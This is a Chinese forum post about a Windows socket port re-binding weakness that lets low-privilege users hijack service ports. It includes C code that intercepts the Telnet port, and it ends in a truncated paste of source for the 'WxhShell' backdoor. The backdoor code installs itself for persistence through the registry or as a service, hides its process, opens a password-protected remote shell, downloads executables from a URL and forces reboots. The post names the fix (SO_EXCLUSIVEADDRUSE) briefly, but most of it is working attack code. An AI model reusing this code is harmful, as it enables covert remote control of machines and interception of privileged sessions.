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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >e"#'K0?\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t<viX's  
}Z,x~G  
  saddr.sin_family = AF_INET; IB7E}56l  
# Vha7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Qz N&>sk"  
.VzT:4-<Q"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1y4  
4_cqT/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0_t`%l=  
LE>]8[ f6S  
  这意味着什么?意味着可以进行如下的攻击: IobD3:D8W  
:Z z '1C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  ][h}  
\;"=QmRD%:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iW /}#  
*=7U4W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {,~3.5u   
HoL Et8Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3kMf!VL  
[1 9,&]z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 KyQX!,rV  
Hg$lXtn]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w G<yBI0  
46&/gehr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /d<P-!fK  
<HVt V9R  
  #include EJNU761  
  #include 7VFLJr t  
  #include YV anW  
  #include    'ub@]ru|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $'hEz/  
  int main() :A'y+MnK<  
  { =zKM=qba  
  WORD wVersionRequested; '(L7;+E  
  DWORD ret; e;}7G  
  WSADATA wsaData; .UY^oR=b{  
  BOOL val; KNIn:K^/  
  SOCKADDR_IN saddr; )f<z% :I+Z  
  SOCKADDR_IN scaddr; m-"w0Rl1T  
  int err; 3x'|]Ns  
  SOCKET s; W]5w \  
  SOCKET sc; *itUWpNhr  
  int caddsize; ^RtIh-Z.9  
  HANDLE mt; b?QoS|<e?  
  DWORD tid;   <3C*Z"aQ>|  
  wVersionRequested = MAKEWORD( 2, 2 ); -I,$_  
  err = WSAStartup( wVersionRequested, &wsaData ); cq/$N  
  if ( err != 0 ) { 'u |c  
  printf("error!WSAStartup failed!\n"); FE|JHh$  
  return -1; @wNG{Stj  
  } 6MMOf\   
  saddr.sin_family = AF_INET; BeoDKdAwY  
   JHTSUq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o="M  
-fHy-Oh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8&`LYdzt  
  saddr.sin_port = htons(23); u frL<]A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wyO4Y  
  { }oGA-Qc}B  
  printf("error!socket failed!\n"); 6.nCV 0xA  
  return -1; s{\8om '-  
  } Ks`J([(W&  
  val = TRUE; ]>nk"K!%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p xa*'h"b^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) PKg@[<g43  
  { EVC]sUT  
  printf("error!setsockopt failed!\n"); ~;{; ,8!)  
  return -1; 54R#W:t  
  } .Od !0(0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '=8d?aeF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xH"/1g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U7}yi$WT  
ieCEo|b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qL3;}R  
  { {dMsz   
  ret=GetLastError(); qwgPk9l  
  printf("error!bind failed!\n"); CxOob1@  
  return -1; Ata:^qI  
  } UJ7*j%XQz_  
  listen(s,2); %oa-WmWm  
  while(1) *Y7u'v  
  { tm RXgTS  
  caddsize = sizeof(scaddr); k],Q9  
  //接受连接请求 rgtT~$S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =BAW[%1b  
  if(sc!=INVALID_SOCKET) 0 e ~JMUb  
  { Z!zF\<r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3/e.38m|  
  if(mt==NULL) 7XLtN "$$  
  { [H^z-6x:0  
  printf("Thread Creat Failed!\n"); 9oR@U W1  
  break; ^sEYOX\  
  } PB`Y g  
  } x vl#w  
  CloseHandle(mt); 3z9d!I^>k  
  } 4`]^@"{  
  closesocket(s); ,|H `e^  
  WSACleanup(); }1i`6`y1  
  return 0; VfC<WVYiZ  
  }   A:N|\Mv2b  
  DWORD WINAPI ClientThread(LPVOID lpParam) O6a<`]F  
  { wX5tp1 ?1J  
  SOCKET ss = (SOCKET)lpParam; j<jN05p  
  SOCKET sc; })8N5C+KU  
  unsigned char buf[4096]; `WFw3TI  
  SOCKADDR_IN saddr; aPfO$b:  
  long num; J1RJ*mo7,  
  DWORD val; A,hJIe  
  DWORD ret; cyv`B3}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 udUyh%n  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p Vw}g@<M  
  saddr.sin_family = AF_INET; )SRefW.v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QP8Ei~  
  saddr.sin_port = htons(23); u jq=F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9gEwh<  
  { ?; +1)>{  
  printf("error!socket failed!\n"); ]kRfB:4ED  
  return -1; "ZoRZ'i  
  } 1AfnzGvA  
  val = 100; }mq6]ZrK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dIa+K?INX  
  { xU>WEm2  
  ret = GetLastError(); RD'Q :W  
  return -1; ex9g?*Q  
  } #9}D4i.`}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u#;7<.D  
  { (%e .:W${  
  ret = GetLastError(); 2 %@4]  
  return -1; ukfQe }I  
  } wb5baY9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *,8^@(th  
  { OSWYGnZg  
  printf("error!socket connect failed!\n"); zrL$]Oy}x  
  closesocket(sc); 2U\u4N O{  
  closesocket(ss); [OV"}<V  
  return -1; ," Wr"  
  } Z/;(f L  
  while(1) >WQMqQ^t@  
  { NI}yVV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 st3l2Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wh\}d4gN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ng>5?F^v  
  num = recv(ss,buf,4096,0); l7259Ro~  
  if(num>0) 7BjJhs  
  send(sc,buf,num,0); (Hz^)5(~  
  else if(num==0) ZaDyg"Tw+  
  break; # 448-8x  
  num = recv(sc,buf,4096,0); C]eSizS.  
  if(num>0) 4Lh!8g=/  
  send(ss,buf,num,0); %C'?@,7C  
  else if(num==0) &Gn 2tr  
  break; ]kG"ubHV?h  
  } ^aMg/.j  
  closesocket(ss); 9T}pT{~V  
  closesocket(sc); *:YiimOY"  
  return 0 ; ] =xE  
  } WJndoB.f[2  
Lh"<XYY  
2*< nu><b  
==========================================================  |`f$tj  
"XKy#[d2  
下边附上一个代码,,WXhSHELL m )zUU  
^ f &XQQY  
========================================================== ICoHI  
.hP D$o  
#include "stdafx.h" ARVf[BAJ-*  
2d(e:r h]  
#include <stdio.h> NP#w +Qw  
#include <string.h> z^q0/'  
#include <windows.h> *{@Nq=fE  
#include <winsock2.h> c9'vDTE%~  
#include <winsvc.h>  &)Tdc  
#include <urlmon.h> OwUhdiG  
5\sd3<:+  
#pragma comment (lib, "Ws2_32.lib") +L| ?~p`V  
#pragma comment (lib, "urlmon.lib") M~#gRAUJ  
%@ODs6 R0  
#define MAX_USER   100 // 最大客户端连接数 bv9]\qC]T<  
#define BUF_SOCK   200 // sock buffer p2[n$61   
#define KEY_BUFF   255 // 输入 buffer ^q vbqfh  
N/'b$m5= S  
#define REBOOT     0   // 重启 88gM?G _X  
#define SHUTDOWN   1   // 关机 BB$>h}  
[0[i5'K:  
#define DEF_PORT   5000 // 监听端口 D/B8tf+V  
eRstD>r  
#define REG_LEN     16   // 注册表键长度 i2U{GV<K-r  
#define SVC_LEN     80   // NT服务名长度 ua Gk6S  
+I:Unp  
// 从dll定义API cLJ$M`e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nQtWvT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R'`qKc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z'U1bMg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &yTqZ*Yuk  
p* (JjH  
// wxhshell配置信息 9y8&9<#  
struct WSCFG { S6M}WR^,  
  int ws_port;         // 监听端口 +nhLIO{{L  
  char ws_passstr[REG_LEN]; // 口令 Mj?`j_X  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4qbBc1,7y  
  char ws_regname[REG_LEN]; // 注册表键名 E *6Cw l  
  char ws_svcname[REG_LEN]; // 服务名 R)( T^V`{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :WS@=sZN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ufZDF=$7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =/+-<px  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j'<<4.(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gHEu/8E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ugt/rf5n  
gNrjo=  
}; UiP"Ixg6  
o.g V4%  
// default Wxhshell configuration f#"J]p  
struct WSCFG wscfg={DEF_PORT, GL0L!="!  
    "xuhuanlingzhe", bMu+TgAT,  
    1, wn, KY$/  
    "Wxhshell", qzLPw*;  
    "Wxhshell", #PW9:_BE  
            "WxhShell Service",  #ut  
    "Wrsky Windows CmdShell Service", ]e^&aR5f"  
    "Please Input Your Password: ", Jk11fn;\>  
  1, kGS;s B  
  "http://www.wrsky.com/wxhshell.exe", m%?pf2%I#  
  "Wxhshell.exe" xY8$I6  
    }; Jbg/0|1  
J26 VnK  
// 消息定义模块 {n.PF8A5X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :$|HNeDO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9Cp-qA%t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M}-Rzc  
char *msg_ws_ext="\n\rExit."; |?xN\O^#}  
char *msg_ws_end="\n\rQuit."; t%FwXaO#  
char *msg_ws_boot="\n\rReboot..."; Zw9FJ/Zn@  
char *msg_ws_poff="\n\rShutdown..."; ]t,BMu=%  
char *msg_ws_down="\n\rSave to "; O`\;e>!t  
@6sqMw}  
char *msg_ws_err="\n\rErr!"; Hqx-~hQO  
char *msg_ws_ok="\n\rOK!"; KYhwOGN  
XS{Qnx_#  
char ExeFile[MAX_PATH]; ~2N"#b&J  
int nUser = 0; _pG-qK  
HANDLE handles[MAX_USER]; RFcv^Xf  
int OsIsNt; nYSiS}?S .  
|O+H[;TB6  
SERVICE_STATUS       serviceStatus; ) 7@ `ut  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .bg~>T+<  
~?Pw& K2  
// 函数声明 EwT"uL*V;  
int Install(void); eA?RK.e  
int Uninstall(void); fu ,}1Mq#  
int DownloadFile(char *sURL, SOCKET wsh); aCj&O:]=  
int Boot(int flag); :#ik. D  
void HideProc(void); ^|>PA:%  
int GetOsVer(void); ,HV(l+k {|  
int Wxhshell(SOCKET wsl); 5`  ~JPt  
void TalkWithClient(void *cs); Yn Mvl  
int CmdShell(SOCKET sock); RJ&RTo  
int StartFromService(void); lh7#t#  
int StartWxhshell(LPSTR lpCmdLine); ncdKj}  
(OL4Ex']  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NB#OCH1/9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iB yf{I>+  
%E>Aw>] v  
// 数据结构和表定义 djG*YM\B  
SERVICE_TABLE_ENTRY DispatchTable[] =  KC6.Fr{  
{ rfg'G&A(  
{wscfg.ws_svcname, NTServiceMain},  `25yE/  
{NULL, NULL} 69NeQ$](  
}; UnV.~u~  
,PW'#U:  
// 自我安装 <2x^slx)?  
int Install(void) i$#;Kpb`^  
{ 5H9z4-i x?  
  char svExeFile[MAX_PATH]; gPO}d  
  HKEY key; AKfDXy  
  strcpy(svExeFile,ExeFile); 8MtGlW%Eh  
"m8^zg hL  
// 如果是win9x系统,修改注册表设为自启动 @n /nH?L  
if(!OsIsNt) { 'sKk"bi;0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $( kF#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]:-mbgW  
  RegCloseKey(key); M"Hf :9Rk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZJJY8k `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "Gzz4D  
  RegCloseKey(key); lgy <?LI\  
  return 0; @Uvz8*b6  
    } tSUEZ62EY  
  } Y\P8 v  
} I;(L%TT `  
else { 7Q9 w?y~c  
[ l??A3G  
// 如果是NT以上系统,安装为系统服务 9;u@q%;!k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?e4YGOe.  
if (schSCManager!=0) t%)7t9j  
{ @b%=H/5\  
  SC_HANDLE schService = CreateService bsli0FJSh'  
  ( _J#zY- j  
  schSCManager, lfgq=8d  
  wscfg.ws_svcname, |syR6(U}  
  wscfg.ws_svcdisp, .`H5cuF`  
  SERVICE_ALL_ACCESS, lrE5^;/s1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8/#A!Ww]  
  SERVICE_AUTO_START, Pmx -8w  
  SERVICE_ERROR_NORMAL, )2o?#8J  
  svExeFile, h7oo7AP  
  NULL, JPHL#sKyz  
  NULL, t!l&iVWs  
  NULL, ^[`%&uj!g  
  NULL, SKN`2hD  
  NULL /36:ms A  
  ); G~a ZJ,  
  if (schService!=0) Dx?,=~W9  
  { JXQO~zj  
  CloseServiceHandle(schService); Bk c4TO  
  CloseServiceHandle(schSCManager); i&fuSk EP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &6!)jIWJ  
  strcat(svExeFile,wscfg.ws_svcname);  8dA~\a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vI >w e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  K5h  
  RegCloseKey(key); t =iIY`Md%  
  return 0; H%td hu\e  
    } %wy.TN  
  } >]TWXmx/w  
  CloseServiceHandle(schSCManager); ?l{nk5,?-Y  
} C{rcs'  
} hi( ;;C9  
2F.;;Ab  
return 1; ADzhNf S  
} q?yVR3]M  
>+1duAC  
// 自我卸载 @S;'@VC  
int Uninstall(void) .`eN8Dl1  
{ !e<^? r4  
  HKEY key;  kDioD  
bAqA1y3=  
if(!OsIsNt) { p]TAELy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2%m BK  
  RegDeleteValue(key,wscfg.ws_regname); 2/^3WY1U  
  RegCloseKey(key); DyQy^G'%l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C,r;VyW6BI  
  RegDeleteValue(key,wscfg.ws_regname); <%eG:n,#  
  RegCloseKey(key); U8?mc  
  return 0; d7upz]K9g  
  } [z{1*Xc  
} g! |kp?  
} 9Y9GwL]T  
else { :5<UkN)R(  
#;yZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =; Ff4aF  
if (schSCManager!=0) N4!O.POP  
{ x 9fip-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6 H$FhJF  
  if (schService!=0) -Q*gW2KmV  
  { O^ yG?b  
  if(DeleteService(schService)!=0) { <]2wn  
  CloseServiceHandle(schService); I\ob7X'Xu!  
  CloseServiceHandle(schSCManager); l ymCH  
  return 0; NXrlk  
  } W${Ue#w77  
  CloseServiceHandle(schService); >kVz49j  
  } &h/X ku&0  
  CloseServiceHandle(schSCManager); a`>B Ly5o  
} U5de@Y  
} DvvK^+-~  
g2_"zDiw2  
return 1; onzxx4bax  
} f+!(k)GWd  
k9!{IScq  
// 从指定url下载文件 F JyT+  
int DownloadFile(char *sURL, SOCKET wsh) Dp9+HA9t  
{ (!WD1w   
  HRESULT hr; nNn :-  
char seps[]= "/"; kffcm/  
char *token; ~]2K ^bh8&  
char *file; + ePS14G  
char myURL[MAX_PATH]; ?e 4/p  
char myFILE[MAX_PATH]; }|=|s f  
rx|pOz,:  
strcpy(myURL,sURL); 4V`G,W4^J  
  token=strtok(myURL,seps); G"t5nHY\.  
  while(token!=NULL) a:w#s}bL  
  { j#ab_3xH  
    file=token; ^1];S^nD  
  token=strtok(NULL,seps); G 3ptx! D  
  } NgPk&niM  
bk[!8- b/a  
GetCurrentDirectory(MAX_PATH,myFILE); R6->t #n,  
strcat(myFILE, "\\"); zO6oT1I  
strcat(myFILE, file); \9T7A&  
  send(wsh,myFILE,strlen(myFILE),0); K$=zi}J W  
send(wsh,"...",3,0); 6'f;-2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #H~64/  
  if(hr==S_OK) mC#>33{  
return 0; 0g8NHkM:2a  
else y:uE3Apm  
return 1; gB33?  
;$g?T~v7  
} X &H"51  
K[YyBE id  
// 系统电源模块 ~D>p0+-c  
int Boot(int flag) !4+<<(B=E  
{ ox.F%)eQ  
  HANDLE hToken; $XH^~i;  
  TOKEN_PRIVILEGES tkp; OjA,]Gv6  
Q~9^{sHZjP  
  if(OsIsNt) { `R^gU]Z,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @6-jgw>W2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VIf.q)_k  
    tkp.PrivilegeCount = 1; 5z)~\;[ -  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }Q+|W=2t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JBZ@'8eqi]  
if(flag==REBOOT) { WcGS9`m/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @=u3ZVD  
  return 0; ns4,@C$  
} _Fg5A7or  
else { aN3;`~{9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e\/w'  
  return 0; J'r^/  
} GQ ;;bcj&  
  } wMN]~|z>  
  else { |_U= z;Y  
if(flag==REBOOT) { *LY8D<:zs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U6s[`H3I{  
  return 0; f|(M.U-  
} xT2PyI_:  
else { 9>#6*/Oa7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K*dCc}:`  
  return 0; @C aG9]  
} A3*!"3nU  
}  %;!.n{X  
\_fv7Fdp{  
return 1; ,/unhfs1q  
} DtnEi4h,  
],].zlN  
// win9x进程隐藏模块 \'j|BJ~L f  
void HideProc(void) % & bY]w  
{ ,hmL/K0"(5  
sDV Q#}a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Cgc\ ah  
  if ( hKernel != NULL ) =2x^nW  
  { w4Z'K&d=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7K:PdF>/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \73ch  
    FreeLibrary(hKernel); Ek}A]zC  
  } u]@['7  
tq?!-x+>  
return; TL#3;l^  
} x,Vr=FB  
hpk7 A np  
// 获取操作系统版本 RG`1en  
int GetOsVer(void) =g|FT  
{ =tY T8Q;al  
  OSVERSIONINFO winfo; QmIBaMI#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z?z.?a r  
  GetVersionEx(&winfo); ? =+WRjF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9cm#56  
  return 1; { (}By/_  
  else Y <qm{e  
  return 0; 9_s`{(0?  
} ?bu>r=oIO]  
F6dP,(  
// 客户端句柄模块 :U x_qB  
int Wxhshell(SOCKET wsl) <of^AKbt  
{ KK &?gTa  
  SOCKET wsh; A5w6]:f2  
  struct sockaddr_in client; p()xz  
  DWORD myID; @=kSo -SX  
as=LIw}Q4  
  while(nUser<MAX_USER) `P ,d$H "  
{ PFK  '$  
  int nSize=sizeof(client); n(]-y@X0_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;*&-C9b  
  if(wsh==INVALID_SOCKET) return 1; Wv/=O}  
ete.!*=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RpYERAgT  
if(handles[nUser]==0) cCc( fF*^  
  closesocket(wsh); )\^-2[;  
else pD]OT-8  
  nUser++; ~u+9J}  
  } N}YkMJy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~e.L.,4QZ8  
gPc=2  
  return 0; t&DEb_"De  
} Ti&z1_u  
8HdAFRw  
// 关闭 socket 2f_:v6   
void CloseIt(SOCKET wsh) s"?3]P  
{ b>9>uC@J15  
closesocket(wsh); }:#P)8/v>%  
nUser--; =mmWl9'mJ  
ExitThread(0); b<u3 hln%,  
} HUOj0T  
B?o7e<l[  
// 客户端请求句柄 #cLBQJq  
void TalkWithClient(void *cs) N)>ID(}F1  
{ 5NLDYi@3  
{kAc(  
  SOCKET wsh=(SOCKET)cs; jlg(drTo  
  char pwd[SVC_LEN]; L4?IHNB  
  char cmd[KEY_BUFF]; 5rUdv}.  
char chr[1]; .3!1`L3  
int i,j; @ur+;IK$  
k-""_WJ~^  
  while (nUser < MAX_USER) { 7j)8Djzp|  
W`*r>`krVJ  
if(wscfg.ws_passstr) { 3DG_QVg^v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .w ,q0<}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HE_8(Ms ;8  
  //ZeroMemory(pwd,KEY_BUFF); Vs{|xG7W D  
      i=0; e(8Ba X _  
  while(i<SVC_LEN) { /JU.?M35  
Oz#{S:24M+  
  // 设置超时 vSLtFMq^(  
  fd_set FdRead; G<;*SYAb  
  struct timeval TimeOut; c_l"I9M#r  
  FD_ZERO(&FdRead); 9 JK Ew  
  FD_SET(wsh,&FdRead); HLHz2-lI  
  TimeOut.tv_sec=8; 7})[lL`\s  
  TimeOut.tv_usec=0; cPc</[x[W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]]j;/TiG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {2 "zVt#h  
~.lPEA %%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xA[mm  
  pwd=chr[0]; vgN&K@hJ  
  if(chr[0]==0xd || chr[0]==0xa) { !FFU=f  
  pwd=0; @!d{bQd,  
  break;  1ZB"EQ  
  } 9k[9P;"F:  
  i++; :S(ZzY Q  
    } "G9xMffW  
%GIr&V4|  
  // 如果是非法用户,关闭 socket MR.'t9m2L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2T[9f;jM'  
} zs#@jv$  
Xm2z}X(%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S?BG_J6A7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4|#WFLo@  
>~+ELVB&  
while(1) { {P#|zp4C{  
&Z|P2dI  
  ZeroMemory(cmd,KEY_BUFF); CQDkFQq-dq  
-1ub^feJ,  
      // 自动支持客户端 telnet标准   n>U5R_T  
  j=0; 6/dI6C!  
  while(j<KEY_BUFF) { 4]}'Hln*U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H~z`]5CN  
  cmd[j]=chr[0]; mXfXO*Cnp  
  if(chr[0]==0xa || chr[0]==0xd) { VBcPu  
  cmd[j]=0; QUQ'3  
  break; {U !g.rh  
  } 1D!<'`)AY  
  j++; # c^z&0B}  
    } WvZ8/T'x  
}|5Pr(I  
  // 下载文件 Fh9h,' V"  
  if(strstr(cmd,"http://")) { 4#hSJ(~7S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gt w Q-  
  if(DownloadFile(cmd,wsh)) )B8$<sv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r^ ZEImjc  
  else D=&Me=$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K8Y=S12Ti  
  } uOdl*|T?  
  else { c<$OA=n  
EI^C{ $Y  
    switch(cmd[0]) { G[q$QB+  
  CYYU 7  
  // 帮助 Uq`'}Vo  
  case '?': { 2WYPO"q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fvxu#m=  
    break; {h`uV/5@`  
  } >`ZyG5  
  // 安装  | (_  
  case 'i': { HT1!5  
    if(Install()) A1zjPG&]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x{ WD;$J  
    else "wh , Ue  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fPW@{~t  
    break; "OnGE$   
    } -_eLf#3  
  // 卸载 s.NGA.]$  
  case 'r': { WaR`Kp+>  
    if(Uninstall()) %FIE\9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _b;{_g  
    else y7Df_|Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #|PS&}6wU  
    break; Z!X0U7& U  
    } KRDmY+  
  // 显示 wxhshell 所在路径 m$T-s|SY  
  case 'p': { &H:(z4/  
    char svExeFile[MAX_PATH]; h2 ;F  
    strcpy(svExeFile,"\n\r"); Bh]P{H%  
      strcat(svExeFile,ExeFile); '$zIbQ:  
        send(wsh,svExeFile,strlen(svExeFile),0); RQu(Wu|m.  
    break; $[=%R`~w  
    } J!U}iD@occ  
  // 重启 S\!ana])  
  case 'b': { M?uC%x+S$_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (,Df^4%7  
    if(Boot(REBOOT)) w!clI8v/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :'*~uJrR  
    else { i9][N5\$  
    closesocket(wsh); q;>7*Y&  
    ExitThread(0); G,Azm }+  
    } +pn N!:q  
    break; *N'p~LJ  
    } l}sjD[2  
  // 关机 ?zHPJLv|Y  
  case 'd': { j Dv{/ )  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zi*R`;_`,  
